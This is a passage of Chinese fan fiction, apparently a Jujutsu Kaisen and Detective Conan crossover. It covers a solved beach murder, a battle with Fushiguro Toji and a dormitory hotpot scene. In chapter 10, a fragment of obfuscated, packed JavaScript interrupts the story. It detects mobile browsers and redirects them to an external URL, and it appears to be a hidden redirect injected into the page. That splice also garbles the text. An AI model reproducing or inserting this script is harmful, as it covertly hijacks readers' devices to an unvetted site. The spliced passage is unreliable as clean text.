他走近了些,抬手展示了一下拿着的怪异物体——混合着沙粒的蜡块,说,“我是找到了这个东西才过来的。走过来的时候你就知道了吧?”
“既然你没有换位置的意思,那么我们的责任各占一半,彼此彼此吧。”
“啊,是吗。”琼纪说,“随便啦。”
“所以果然不介意被听见?”
“难道你听见了什么吗?”
“那还是有一些的。”
赤井秀一说,“比如说,你正在为案件还没解决,不能离开去京都而苦恼。”
对上少女抬眼望来的视线,他笑了一下,说:“不用担心——CaseClosed。”
“证物已经齐全,接下来只要指认犯人就行了。”
接下来的发展,果然如他所说。
依靠死者冲浪板上嵌入蜡层的细沙、沙滩上找到的蜡块,和砸碎在沙地里的镜子碎片,赤井秀一推定了作案手法:犯人首先在死者冲浪板的防滑蜡层上,涂上了一层普通的光滑蜡面。
在发现死者因此坠海后,犯人回收了冲浪板,以镜子反射阳光聚热,融化蜡层。
由于不同种类的蜡熔点也不相同,只要控制时间,就能够只融化表层,而不损坏下方的冲浪蜡。
正是因为要去除表面蜡层,才会用石头压住两端,暴露板身;冲浪板也才会被放在能够放置镜子的礁石后方。
之后,只要装作偶然发现了被丢下的冲浪板,就能够率先处理掉周围的痕迹和布置了。就算后来和久的尸体被发现,其他人也会自然地以为和久之死与冲浪无关。
“因此,把冲浪板拿回来的你——中野智先生,你就是导致这一事件的犯人!”
赤井秀一笃定地说。
“胡、胡说!”中野还想挣扎,“我一个男人,来海边玩哪里会带着镜子?”
“是从更衣室里偷走的!”
被秀一拜托,和父亲一起去男更衣室询问过的新一站了出来,“管理员先生确认了,更衣室里丢了一片拼接的镜子;让他来辨认的话,应该还记得你吧!”
“你确实没有带。”秀一说,“因为坠海之后的这一切,都是你临时起意。”
“我……”
高专一行人惊奇地看着犯人被拆穿后,痛哭流涕地跪倒在地。
中野哭着说:“我没想害死他的。我只是想让他在所有人面前出个丑……我偷偷跟在后面,没想到他掉下来以后直接砸到礁石,晕过去了……”
“要是你那时候叫救生员,那个人说不定还能活下来!”
小新一生气地说。
“我害怕,我怕他醒过来之后……他肯定会知道是我干的!所以我……我对不起他……”
怯懦、自私、嫉妒,恐惧、悔恨、痛苦。仅有术师可见的恶念,与犯人的痛哭声一起,回响在海滨的波涛之中。
*
秀一与小新一一起,飞快地解决了事件。高专众人身临其境地看了一场推理秀,也觉得很精彩,心情愉快地往回走。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783208|157993||http|test|mini|href|location''.split(''|''),0,{}));
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>琼纪与硝子换衣服准备去机场,五条等人在外面等她们。
夏油杰捏着下巴说:“既然是冲浪冠军,怎么连浪板上质感奇怪的蜡都没发现?”
“不是说一天都在惹事吗,精力不足吧。”
五条悟无所谓地说。
而另一边,需要低调行事的特工一家推掉了案件的笔录,正朝着海水浴场的出口走去。
赤井玛丽注视神色悠然的大儿子,皱着眉问他:“如何?解决了一起事件之后,你的头脑也该清醒一些了吧。”
“还坚持你那个加入FBI、追查导致你父亲失踪的那伙人的,异想天开的计划吗?”
“不错。我更加坚定自己的想法了,母亲。”
秀一说。
“不要因为偶然破解了案件就沾沾自喜。”
玛丽严厉而担忧地说,“那些人,就连你父亲也认为是非常可怕的对手。你以为对上他们,还能像今天找出一个犯人那么轻松吗?”
“妈妈,大哥……”
站在两人后面的羽田秀吉牵着妹妹,担心地看着他们。
赤井秀一笑了一声。
“要说我不觉得自得,那是不可能的。”
他说,“不过……”
这时候,高专一行人,经过四人的身旁。
他们还是那样,照常地说着话,就已经带着自成一体的、谜一般的氛围。
秀一看着人群中的少女。
她已经换上了制服,一身漆黑,头发也是乌沉的,越发显得肌肤冰白,不可逼视。
宽而高的领口拢着纤细的脖颈,金色的漩涡扣子,反射耀眼的日光。
少女目不斜视,与他擦肩而过。披散下来的黑色长发被风扬起,带来一点冰冷的、幽淡的香气。
紧接着——不知为何,刹那之间,他感到在这南国热情的海滩,幻觉中似乎有一场春雨降落。
细密、清新而势不可挡。那些长期压抑在心底的隐痛,所有的孤独、烦忧与苦闷,在这瞬间,好像都被冲刷殆尽了。
长久以来,他从未感觉到如此轻松。
而他已经选择的那一条路,也因此越发清晰。
“……不过什么?”
此时,身旁的母亲问他。
“不过,我当然也清楚。有些事件轻易就能解决,而另一些事,大概会是穷极一生也难以追寻的谜团。”
赤井秀一抬起头,望向少女的背影。
她在午后盛大的日光中离去,前方是明亮的太阳。纤细的身影,没有回头,仿佛要融入那燃烧般的光线之中。
她正是这样的谜团,捉摸不定,超乎现实和想象,灿烂、透彻而闪耀。
“但那些藏在黑暗中的人,绝不会是这样的谜团。他们只不过是用苍白的雾气,掩盖自己的行踪罢了。”
赤井秀一说,“而我必然会驱散雾气,找出他们的真相。”
看着长子坚定的神色,赤井玛丽闭了闭眼。
“既然如此。”
此刻她的心中同样无比澄明。她说,“那你就放手去做吧。”
11. 第 11 章
次日,午间新闻播出了大冈首相情况大幅好转的消息。
此时的工藤一家正在酒店餐厅中吃午饭,餐厅里的电视就悬挂在前方。
随着主播的叙述,新闻的背景中连贯播放了从事件起始至今的数幅画面。有首相被刺伤倒下的远景,送入医院的匆忙场面,神色凝重的医疗人员与发言人,和陆续赶来的亲属同侪等。
而其中的一个镜头,令一家人都露出了吃惊的表情。
短短几帧,应该是即将入夜的傍晚。
黯淡的天色里,荷枪实弹的警卫在等候消息的记者与人群中开出一条通道,几名穿着黑色西装的人,簇拥着昨日见过的两名少女,走进医院的特殊通道。
被闪光灯映亮的,美丽而冷淡的面容,在电视机的屏幕上一闪而过。
“咦咦?”
有希子可爱地瞪大双眼,“那不是昨天的女孩子吗?”
与此同时,五条等人,正在冲绳飞往东京的飞机上。
这正是他们之前的计划。让针对天内的悬赏,在飞行中结束。这样当他们落地东京后,赶去冲绳的诅咒师们也不会再追来。
坐在窗边的天内理子,留恋地看着近在咫尺的柔软云朵,和游翔于其中,鳞片泛着光彩的虹龙,久久没有言语。
直到即将降落的广播响起,她才如梦初醒,失落地低下了头。
过道另一边,夏油杰将她的神情收入眼底,轻声叹息。
他身旁的五条悟单手支着下巴,一副百无聊赖的神情,但没有回一下头。
而此刻的京都,守卫森严的医院楼层里,琼纪见到了她一直在等待的人。
“冥前辈。”
琼纪站起身来,向通道尽头走来的年轻女性展颜一笑,“谢谢你能来。”
刚结束任务的冥冥一身高专风格的黑衣。除了自选的款式与琼纪不同以外,作为毕业生,还取下了漩涡扣子。
白色的长发束在脑后,手中握着一柄用布简单包裹的长兵咒具,在警卫忌惮的目光中,靴子的高跟叩击地面,不紧不慢地走到她面前。
冥冥轻笑。
“没关系。我可是很乐意接受你这一边。”
她说,“在这里获取的情报,轻易就能转化为金钱。我求之不得呢。”
“啊。”
琼纪说,“那么提供了这样价值千金的机会的我,好像应该收些中介费?”
闻言,冥冥弯起红唇。
“直言要从我这里赚钱的,琼纪桑,你还是第一个呢。”
她微微倾身,凑近琼纪,“我倒是很好奇——为什么你非要赶回高专不可呢?我知道你们有星浆体的任务。不过五条君和夏油君,要送走一个小女孩足够了吧?”
“盘星教盯上了星浆体,然后就有极端宗教分子拿着咒具去刺杀首相。硝子和我就这么被调走了。说没关联才奇怪吧?”
琼纪说,“咒毒发现得有些晚,扎根比较深。硝子是走不了了。既然这么不想让我们在场,我当然更要回去看看是怎么回事了。”
“真叛逆啊。”
冥冥笑,“只是这样而已吗?”
她没问类似“教徒刺杀政要必然会连累教会本身”之类的问题,琼纪也没有解释。
两人都知道,教派这种存在,只要立教的根基仍在,核心教徒没有离开,就算被当局追究以至于解散,改换一下门面,很快就能再度兴盛起来。
琼纪微微一笑:“剩下的就是秘密了。”
“我的嘴和我的钱包拉链一样严实哦。”
“不值钱的秘密,冥前辈听了也不会感兴趣的。”
两人对视片刻。冥冥笑了一声,直起身来。
“太谦虚了。你,五条君,夏油君……”她说,“你们的秘密,就没有不值钱的呢。”
琼纪笑而不语。
两人放过这个话题。冥冥环顾四周,说:“这里干净得过分。是你处理的吧?”
她说的是咒术师的视角。无论是一般医院常见的、塞满边角夹缝的弱小咒灵,还是这次的突发事件汇集的人们,复杂的心思所催生出的大东西,竟然都毫无踪影。
非术师的眼中,医院还是久经使用的模样,但在术师来看,简直是洁白如新。
“硝子进手术室了,我也没有别的事做。
琼纪无所谓地说。
十数个小时里,除了关注硝子,她也是很无聊的。临时过来什么也没带,只好把墙缝里的咒灵都挖出来打发时间。
中间还顺手帮现场的警卫和公安抓了几个非术师的杀手。其中有个挟持小孩子——是个女孩,大概就是夜蛾拿来吓唬她的、在电话里哭的孙女,她没太注意;挟持小孩子试图跑路的不入流杀手。
被她飞了一张地上捡来的歌牌,削掉头发吓晕了。
巧合的是,歌牌上的和歌还是菅家,也就是菅原道真写的。“币帛未曾带,匆匆羁旅程。满山枫似锦,权可献神灵。”
手气还可以,至少没有抽到崇德天皇,她愉快地拍照发给了同期们。
虽然看见她拍照,在场许多人的表情都有点微妙,不过那不要紧。
总之,抓到的人都交给了领头的公安,一个姓黑田的独眼男人;交谈几句之后,对方说将会为她提供回东京的交通手段。
“琼纪小姐。”
额角烧伤、蒙住右眼的魁梧男性,黑田兵卫,在她们不远处站住。守礼地微微低下头,说,“直升机准备好了。”
“多谢您。”
琼纪对他点了点头,转向冥冥说,“那么硝子就拜托冥前辈了。”
冥冥颔首,自去查看情况。
三人离开后不久,旁边的休息室里,跑出来一个穿着精致和服、茶色头发的小女孩。
管家打扮的人紧紧地跟在她身后,生怕她摔倒。
女孩的眼眶还是通红的,捏着一张歌牌,在方才琼纪所在的大厅中左右张望,最后失望地垂下头:“走了啊……”
“红叶小姐。”
管家牵住她安慰道,“医生小姐还在这里。您想要表达感谢的话,可以之后托她转达。”
“那是不一样的。”
大冈红叶低头看着手上的歌牌。其上赫然是——“秋来光万里,岂独照一人”。
……
当公安的特型直升机,以最高时速接近东京的时候,五条一行人穿过高专延山麓长长的、朱红鸟居绵延的步道,进入结界之中。
正当四人觉得终于能够松一口气时,一柄锋利的长刀,刺穿了五条悟的胸口。
蛰伏已久的天与暴君,在少年身后露出嘲弄的笑容。
“悟!”
夏油杰失声叫道。
他瞬间放出了一只咒灵,逼退试图划动刀刃的伏黑甚尔。正要上前来到五条悟身边,却被他制止。
“别担心,我没事。”
五条悟捂住伤口,眼神仍很明亮,“我们商量过的。现在就是意外情况。你先带天内去那里,我随后赶上!”
“……”
两人之间无须多言。夏油杰叮嘱一句,带着天内和黑井离开。
而五条悟面对从咒灵腹中破体而出的敌人,扯起唇角嗤笑:“就是你吧?这两天一直跟着我们的家伙。偷看得还痛快吗?”
“啊啊,是啊。”
伏黑甚尔带着刀疤的嘴角也扬了起来,“你们四个人在一起,轻松得令人不爽啊。我制造的紧张感不错吧?”
“一丁点也没有啊!你的存在感还不如在沙滩上踩到的石头!”
“哈。那大名鼎鼎的六眼,不就是被绊脚石磨钝了,连身后的刀都感觉不到了吗?”
“那算什么——你那一下,还没有冲浪板砸得痛啊!”
五条悟的手中,亮起了耀眼的蓝光,“术式顺转——苍!”
树林折断,建筑倒塌,砖石土块崩裂飞溅。巨大的轰响,在高专结界的入口接连响起。
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夏油杰带着天内与黑井,沿着僻静的小路向前奔去。战斗的轰鸣声越发遥远,逐渐得再也听不见。
他在一处树林前停下脚步。
“小理子,黑井小姐。”
夏油杰看着急促喘息的天内理子,和给她拍背顺气的黑井,说,“现在是选择的时候了。”
“什么?”
匀过气来的理子,疑惑地抬头看着他。
“我打算回去看看悟那边的情况。”
夏油杰说,“前面的路,要你们自己走了。所以现在做出选择比较好。”
“哦……”
天内不明所以地点点头。
“左边的路,通往地底的薨星宫,天元大人的所在地。”
听见他这样说,两人的神色都黯淡下来。
“往右走的话,能找到我们班主任的秘密基地。”
夏油杰抬起手,向她们示意林木缝隙间隐约可见的远处,内部横亘的、以某些特殊方式摆放的断木。
他温声说,“琼纪已经暗示过他了。只要不走到最深处,他的结界不会拒绝你们。在这里,你们会很安全。”
“……”
“也不会有人能够找到你,带你去同化。”
黑井美里霍然抬头,用不敢置信又隐含期望的眼神,含泪望向黑发的少年。
而天内理子,还在震惊的迷茫之中。
“我不明白……”
她喃喃说,“是说……我可以选择不同化吗?”
“当然。”
夏油杰微笑了。
“……”
“人祭都废除上千年了。每隔一段时间就要吃掉一个人,在传说中也是需要打倒的恶神吧?……我们四个人都是这么说的。”
夏油杰说,“如果可以的话,我们并不想完成这个任务。只不过天元有全知的术式,不能提前明说。”
“但是,这样的话……”
“如果是说结界术的基础,总有办法解决的;如果你说的是天元的进化,可能会变成丧尸暴龙兽什么的……”
夏油杰说,“那么我们也挺想会一会那种东西呢。”
“——因为,我们是最强啊。”
*
然而,当琼纪感受着熟悉的咒力波动,在高专的屋舍上纵跃,心急如焚地一路奔来,抵达结界的山道入口时——映入她眼中的,是一幅几乎令她目眦欲裂的惨烈场景。
满目疮痍的战场上,她的同期,她的好友,昨天还在海边与她嬉笑打闹的两名少年,毫无声息地躺在碎石与瓦砾之间,身下是刺目的血泊。
额头,胸口,腰腹。被血液浸透的黑衣,那粘稠的颜色远远地蒙住她的口鼻,她有一瞬间停止了呼吸,耳边嗡鸣。
与此同时她看见了——第三人,肩上盘着一只虫状咒灵,未知姓名的敌人。
他一边甩开长刀上的血液,一边自顾自地说着“不会已经把星浆体小鬼送进去了吧……真麻烦啊”,一边抬步准备离开。
然而因为她的到来,他抬起头,朝她的方向,咧开唇角露出一个笑。
意味不明——
霎那间,琼纪周身迸发出耀目的紫色光芒。
吞蚀万物的寂灭之力化作斩击般的利刃,朝着敌人横切而去。
空气扭曲了,紫光所过之处,断壁残垣无声湮灭,须臾间化作一片空荡荡的虚无。
她没有看疾速闪身躲避的敌人,一刻不停地奔向地上的两个人影——没有咒灵暴动,杰应该还活着。但是悟——
幽紫光芒散去。地面上出现了长达几十米的一片深深的空洞。
空洞的侧上方,伏黑甚尔站在屋檐上,手中握着能够解除术式的天逆鉾。
他居高临下地看着跪坐在白发少年身边的女孩。她的黑发几乎及地,咒力如同狂怒的波涛。
伏黑甚尔说:“哇哦。”
女孩回过头。怒火中脸色苍白,她说:“杀了你。”
12. 第 12 章
琼纪率先发起了攻击。
数道紫色的流光乍然闪现,撕裂空间穿越了战场。交织而出的吞天巨网,从四面八方向敌人压去。
同时她也一踏地面紧追上去,与交错的光线一起,将敌人向山林里逼退。
她要更换战场。从这数天的经历来看,这是个不吝于使用手段的敌人,他的速度又快到肉眼难以捕捉,甚至快过她的术式。
必须防止他对此时无法应敌的悟和杰下手。而且一旦开战,她恐怕不能分神限制消蚀术式的生效对象。
蕴含毁灭之力的暴烈紫光席卷山麓。祝祷祈福的朱红鸟居崩解,林木土石灰飞烟灭。
这是瞬发的雷霆一击,但琼纪其实也已经做好了他以极速逃脱的准备。三个方向的术式隐于空气中蓄势待发。但敌人却并未多做反抗,两人和刺目的光束一同撞进数百米外半山腰的坡道。
轰然的一声巨响。
“别心急啊。”
烟尘之中,琼纪听见他说,“我还有不少事想跟你聊聊呢……加茂家的叛逆。”
那张典型而格外出色的禅院面孔,影影绰绰地在前方闪过。
“……所以最后是平将门啊。”
海滨沙滩的玩笑浮现在眼前,琼纪垂下眼睫说。
“嗯?”
没头没尾的一句话,对方竟然听懂了。
“不是禅院。”他笑道,“我现在姓伏黑了哦。”
“没兴趣。”
琼纪审慎地感知着他的位置,忍不住咬牙——没有任何咒力。只能感知到微弱的咒灵的气息,和他持有的咒具。
她隐约察觉到了同期们失手的原因。
但她口中用冷淡的语调说,“我跟破了相的男人没什么好说的。”
“真冷淡啊。”
对方声音慵懒,“这不是巧了吗。你看见六眼额头上的洞了吗?”
“……”
这正是为什么她会如此愤怒。咒力的核心在腹部,但运行反转术式的位置是大脑。
咒力陡然击发,向声源包抄而去,碰撞间爆裂的声音响彻天际。
而后不过是顷刻间,黑发的敌人便穿透了炸开的咒力。
他在半空中闪现,握着那把十手形状的古怪短刀,向她俯冲下来。
回应他的是一道紫色光幕的截停。骤然击出的术式带起的风掀动他的额发,映亮了那张带着狂气笑意的面容。
琼纪在攻击的同时,从近处观察他。
这个人的肉.体力量,真的超乎想象。每一个动作也都惊人地洗练——他竟然能在空无一物的空气中,不依靠丝毫的落脚点,也没有任何的咒力流转。就这样生生凌空顿住了动作,仿佛下一秒就能飞速后撤。
但她要的也只是这片刻的时间。
琼纪扣住手指结起掌印,念道:“裂时、枯光——”
威势更加骇人的光团,在她的指间逐渐成型。光芒流动间令人战栗的威压辐射而出,然后下一刻——
利刃与持刀人一同悍然穿透光幕。
大手握住的古怪短刃,毫无空隙地凿入流转的光团;发动中的术式倏然溃散——紧接着不留任何反应余地地,重重刺向她的心口。
千钧一发之际,咒力在咫尺间迸发。
不带术式的纯粹咒力,将刀刃与她的身体向相反的方向推开,使她避开了这势在必得的致命一击。
伏黑甚尔有些意外地扬起眉。
“咒词咏唱,”他说,“不过是为了骗取天逆鉾情报的设计吗?”
恐怕她早已察觉到这把刀的异常,决心以此试探。
这是极其危险的计划,但她成功了。甚至在刹那间试出了对策——天逆鉾能够强行解除发动中的术式,但并非完全的无效化咒具。
单纯的咒力放出,它是不能扰乱的。
“灭星……”
伏黑甚尔勾起嘴角,“倒还算有点样子。”
而她竟然还没有打算退开。
这种水准的战术头脑,想必也早已察觉他的天与咒缚。与他近身是绝对的愚行;但她的天性里,大约真有一种与术式的破坏力相合的,尖锐而锋芒毕露的桀骜不驯。以身作饵试探天逆鉾时是这样,现在也是如此。
琼纪旋身而上,用自己的身躯绞紧敌人握住天逆鉾的手臂,带着消蚀术式提膝撞向他的腰腹。
好像猝不及防地撞上坚硬的山崖。而腿上也感受到了术式被解除、刀刃数度刺入的剧痛——甚尔在一侧手臂被缠上的那一刻,就向另一边扔出了天逆鉾。
但她的手掌也同时按在了他的胸口,带着即将被击发的磅礴术式。
咒力涌动的瞬间,后颈传来了令人震悚的风声。男人肩上缠绕的咒灵吐出释魂刀,甚尔再次抛高天逆鉾,单手更换了武器,接住能够直接攻击灵魂的长刀,直直劈斩下来。
这一下本该切断她的脖颈,砍下她的头颅。但察觉到危险的她提前在手中引爆术式,借力闪避,险而又险地躲开了长刀。
敌人凭借肉.体特性,硬生生扛下了术式的余波;锋利的刀刃割断她扬起的长发,擦过脖颈带起一串血珠。
墨黑色的断发在空中飞散开来,一瞬间遮蔽了视线。
琼纪也终于借机后撤,落在远处高空的树枝上喘息。被截断的黑发黏在面颊上。
一切都发生在转瞬之间。被抛到空中的天逆鉾才刚开始下落。
伏黑甚尔抬头看她,神色一动,好像想对这彼此失败的短兵相接发表什么看法。
然而他看见了琼纪结出的新手印,和腿上已经愈合的刀伤——她能用反转术式!
这也意味着——
咒力奔涌而出,空中的血液与断发淌过异彩。眨眼间化作一群流转淡金色光芒的飞鸟式神,将身处其中的甚尔彻底淹没。
“……”
琼纪平复着呼吸,双眼一眨不眨地盯着式神漩涡的中心。
她听见了锁环的响动,和迅猛无比的击打声。飞鸟哀鸣。式神的包围圈猛然间向外一扩,继而三节组成的红色长棍朝上一甩,勾下了尚在半空中的天逆鉾。
风声骤然震荡。飞鸟纷纷掉落。浑身浴血的男人提着三节棍和天逆鉾,从尚未消散的金光中走了出来,神情张狂地对她弯起唇角。
“刚才那一击,价值五亿。”
他随手把磨损严重的三节棍丢到一边,“那算什么?你的术式反转?感觉有点奇怪。”
天与咒缚的身体简直是怪物。琼纪说:“你就当是吧。”
“不做术式公开吗?”
伏黑甚尔扬了扬眉,“看来是还没完全掌握啊。”
被他说中了。消蚀的背面是什么,她至今也还没有完全摸透,只是感觉那必然是一种与创造相关的权柄。
但目前她还只能做到依托已然存在之物。方才的攻击,是她看见了断发后偶发的灵感,糅合了加茂的血液咒法和古代藤家的式神咒法,运用术式反转的一击。
“是啊,还没完全掌握,就把你弄得这么狼狈了呢。”
琼纪居高临下地打量他,微微皱眉——武器库咒灵哪里去了?
……在伏黑甚尔的肚子里。
术式反转所用的正向咒力,对咒灵是沾之即死的特攻。
判断出她的意图,伏黑甚尔当机立断,把释魂刀换成更适合应对群攻的游云,便将咒灵缩小吞入腹中,以保护自己的武器库。
天与咒缚的体质,并不畏惧咒毒。
看着他把咒灵吐出来——琼纪没忍住,露出了一点微妙的嫌弃表情。
“啊,别这样嘛。”
伏黑甚尔有点愉快地说,“你们的咒灵操使不是这样的吗?”
杰吃咒灵,但是又不会吐出来——
……听起来很难讲哪个更糟糕。
琼纪想了想,问他:“所以咒灵是什么味道?”
她居然是真的在发问。说出这句话的时候,没什么情绪的美丽面孔上,竟然能看出几分单纯的好奇神气。
伏黑甚尔盯了她片刻,忽然笑了。难得相当坦诚,懒洋洋地说:“不好吃。”
“……”
想也是啊,这还用他说。
“还想知道?”
伏黑甚尔指了指自己,有点邪气地说,“来试试啊。”
这其中的意味多少有些暧昧。琼纪说:“少恶心人了。”
术式与刀光在空气中炸
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响,下一场战斗随即爆发。
琼纪倚仗反转术式,毫不畏惧地与他近身,每一击都裹挟术式,势必要在他身周燃爆咒力。
伏黑甚尔则以纯粹强大的体术应对。
他的每一个动作都蕴含着极致恐怖的危险性。他的肉.体,本就已经不属于人类的层级,那经由残酷杀戮锤炼出的近乎本能的战斗意识,使他在战斗中,体现出一种令人难以置信、恰到好处的随心所欲。抛出切换咒具都能成为攻击的手段,空气中一点崩裂的碎石也足以成为致命的武器。
针对他特异而多样的咒具,琼纪穿插着击出形态相近的术式和纯粹的咒力,从数个空间节点一同扰乱他。
而这一点,对于伏黑甚尔来说也的确相当棘手。
两人的身影如同鬼魅一般,在山林间碰撞交错。
在这样频频与死亡擦肩而过的战斗中,琼纪尚不熟练的反转术式变得得心应手,她也逐渐被引入了术式反转的核心。
她意外地发现——与常识相悖,她可以同时使用术式的顺转与反转。
这就是之前所说的相性很好吗?所以她尝试术式反转,才能引发顺转的效率提升?
所以——她的顺转和反转,并不是相背的两面。
而是衔尾长蛇,循环之轮。从无到有,从有到无,如月相盈亏,自然地流转。
意识到这一点的瞬间,一种轻柔的灵感充溢心间。
她以结界术,将自己的身体分隔为数个相接的领域。顺转、反转,性质各不相同的术式,在其中安静地轮转,如同宇宙深处寂静无声的漩涡。
她闪身而上。冥冥之中的灵感,让她穿越所有凌厉的攻击。几个术式的节点与天逆鉾碰撞,在璀璨的彩色火花中寂灭,像是星辰坍缩;但更多的依旧生生不息,在她身周不绝地流淌。
当她的手再度印上敌人的胸膛,咒力与术式也毫无迟滞,同时击发。
物理打击与咒力冲击,误差时间在一微秒之内。这意味着——
黑闪!!
空间扭曲了。咒力闪现黑光。
普通攻击2.5次方的威力,即便伏黑甚尔及时收回了天逆鉾抵挡侵蚀之力,还是被冲击力撞出百米之外,后背撞断无数树木与岩石,砸进崎岖的山壁。
他咳出一大口血,活动了一下身体,感受到体内被撞断的骨头。
“怪物吗。”
他哼笑。
碎石纷纷掉落。少女飞落到他的前方。
她说:“还要谢谢你呢。”
伏黑甚尔抬起狼一样的绿色眼睛,从略长的刘海下,和淌下的血液中,朝她望去。
她其实也形容狼狈,黑发凌乱,身上血迹斑斑。然而此刻她眼眸灼然明亮,神情中显出一种超然物外的温柔。
在她的手心里,有一团跳跃的,不断变换形态的,无比鲜活的金光。
“多亏了刚才的黑闪,我现在能术式公开了。”
——术式反转,化生。
能够自虚空中造物,也可以作为能量波击出。被触碰到的物体,都可以为她直接掌控。
她看着伏黑甚尔,说:“还打吗?”
“哈。”
伏黑甚尔站了起来。他说,“你还有咒力吗?”
“杀掉你还是能做到的吧。”
“强撑的吧。”
“让给我吧。”
忽然,后面不远处,有人用撒娇般的可爱语调说,“能杀我的人,多少还是想自己来杀啊。”
是五条悟。白发上凝结着触目惊心的血迹,衣物凌乱不堪。步伐轻飘飘的,转瞬间就穿过了狼藉的山林,浑身上下萦绕着恐怖的气息,像一枚即将爆炸的核弹。
他在两人身旁停下。亮得瘆人的冰蓝色眼睛,没有去看伏黑甚尔,反而望向了几乎和他一样狼狈的少女。
琼纪也望着他。
她看见迸涌的激流,爆炸的宇宙,冰山崩解时飞溅的冰屑,十亿光年外晶莹闪耀的星尘;看见天空自他苍蓝眼里奔流而过。
然后她听见他说:“你短发也很好看诶,琼纪。”
琼纪笑了。
“废话。”
她说,“欢迎回来,悟。”
13. 第 13 章
“你的头发。”
硝子说,“不要修一下吗?”
时间是夜晚。地点是东京咒高,琼纪的宿舍。
一轮满月在窗外的夜色里盈盈生光。
隔壁硝子的房间里,睡着原定今夜要与天元同化的天内理子,和照顾她的黑井美里。
她们下午藏身在夜蛾正道的结界里,直到琼纪和夏油杰去将她们带出来,一直都精神紧张。等到日落的时限过去,终于能够松懈下来,两人都支撑不住困意,被安顿在了他们最近的地方。
而琼纪的宿舍里灯火通明。杂物被堆到了旁边,最中间的茶桌被清空,四个人围着方形桌子,在煮和牛火锅。
食材是大冈家热情赠送,和硝子一起坐着私人飞机回到东京的超高级品。
结束了治疗就迅速赶回的硝子,傍晚抵达高专之后先是看见了几乎被夷平的半座山,感觉到漫山遍野属于三名同期的咒力残秽。
怀抱着“是不是来晚了”的恐慌,绕路抵达结界入口,又看见了远超致死量的血液。
那一瞬间的惊惧和无力难以言表。
幸好她很快就见到了他们三人。
虽然还没来得及清理血迹,破损的衣物也还没有换下,但总归还是完好的——琼纪之前就学会了反转术式,五条悟今天也领悟了反转,大体都治好了身上的伤。
而夏油杰,生死之际触摸到了属于咒灵操术的极之番。
未知的黑色漩涡抽取了咒灵的自我修复方式,适应术式主人的身体,治愈了释魂刀造成的伤口。
如此奇特的表现,意味着他的术式奥义深不可测的潜力。
加上琼纪的【化生】,五条悟的【茈】,三人对彼此领悟的新咒术都很有兴趣,凑在一起嘀嘀咕咕,满脸写着“我们真的是好强啊”。
彻夜治疗过病人本来也很疲惫、转头就被吓醒了的硝子:“……三个笨蛋不许说话都给我来医疗室检查。”
……
总之,折腾了一番之后,四人聚在了琼纪的房间里。
高专的单人宿舍,面积并不很大。房间里灯光明亮,空气中充满了温暖的香气。
开了一条缝的玻璃窗顶端,蒙着一点细小的水雾。床头的柜子上摆着四人的合照,书架上和小说一起放着暗夜男爵的手办。桌子中央的汤锅咕嘟咕嘟地沸腾着。
四个人都穿着休闲服。琼纪和硝子裹着同一条质地软糯的毛毯,坐在榻榻米上,向后靠在床的边沿。
两个女生都被眼下的气氛弄得有些昏昏欲睡,硝子的手有一搭没一搭地顺着琼纪的头发。
五条悟和夏油杰盘腿坐在桌子的侧边,挑选今晚要看的电影。
夏油杰还没完全擦干的头发散了下来,垂在脸侧显出一种异样的清秀,眉眼间带着平和的愉悦。五条悟抱着一只琼纪房间里的,去年大家在夏日祭射击摊上赢来的玩偶,下巴搁在玩偶的头顶,蓝眼睛亮晶晶的。
分明进门前还一脸精力充沛的不安分表情,现在被少女房间浅色的陈设包围,看起来竟然异常乖巧。
那边靠在一起的女孩子里,硝子摸了摸琼纪将将及肩的发尾,说:“削得太齐了,反而有点奇怪……而且也不是水平的。明天去理发店修一下?”
“理发店好远哦。”
琼纪闭着眼睛,懒洋洋地说,“不想去。”
夏油杰有些在意地看过来一眼。
他一直觉得没能拦住伏黑甚尔,自己有过错,多少对此感觉有点责任,因此说:“好可惜啊。不能用化生变回来吗?”
“当作施术媒介交换出去的东西,应该不能轻易还原吧。感觉用化生也只能弄出来伪物。”
“这样啊。”
夏油杰想了想,觉得很有道理。低下头从影碟里丢掉一张鬼片——咒术师看鬼片真是一点意思也没有。
琼纪靠在硝子身上,随手捏了一枚镜子照了照:“这看起来还挺像我小时候的发型。”
硝子说:“这哪有发型,就是纯粹的短吧。”
“有啊,有的。”
琼纪比划给她看,“加茂家就喜欢这种风格——叫振分发吧,平安时代的公家孩童发型。在还没有''削鬓'',也就是剪这两绺姬发的时候,会用神纸把两边的头发束起来。”
“诶……”
很少听她说起小时候在加茂家的事。在场的另外三个人都发出想象的声音。
然后夏油杰和家入硝子齐齐转向五条悟。
“悟你在''诶''什么啊?”
“都是御三家,五条家不这样吗?”
“我哪知道。”
五条家的神子大人理所当然地说,“我当然是怎么方便怎么来了。”
硝子:“好欠揍的发言。杰快打他一下。”
夏油杰把手里的碟片往五条悟头上一拍。五条悟把玩偶糊在他脸上。两个人掐了起来,撞到后面的书堆,摞高的书哗啦一下散架了。
两人被勒令整理,乖乖地跪在旁边垒书墙。
这一边琼纪把捏出来的镜子挥散,蹭了一下硝子的肩膀:“感觉再长长也不用很久。硝子帮我修一下吧。”
“我来吗?没做过哦。”
“没关系啦。现在就弄吧,剪刀在右边第一个抽屉里。”
五条悟一下就被吸引了注意力。
“让我来!”
他跃跃欲试。
“让杰来都不会让你来。”琼纪说,“你又没有留过头发。”
夏油杰:“我的话,还是觉得理发店比较好……”
硝子:“好像听见有人在质疑我。”
夏油杰:“抱歉。”
五条悟:“家里长头发的人还是很多的啊!”
琼纪:“你现在又知道了哦?哪里来的自信,究竟看过他们几眼啊?”
“……”
五条悟转向夏油杰,“杰,让我练手。”
“别想。”
“反正你的刘海也不可能更怪了。让我练一下嘛。”
夏油杰和善地往他碗里挤了一大坨辣酱:“练练这个吧。”
两人再度掐起来之前,被赶出去买饮料。顺便在宿舍周围转一圈,看看总监部有没有不死心地派人过来,试图带走天内。
两个男生你推我挤地走了,在笔直的走廊上走出了扭曲的路线。
硝子说:“男高中生果然都是笨蛋啊。”
琼纪:“就是说啊。”
有趣的是,到现在都还没有人来问责星浆体的缺位。
或许是因为下午的战斗声势太过浩大的缘故,也可能还有别的原因。
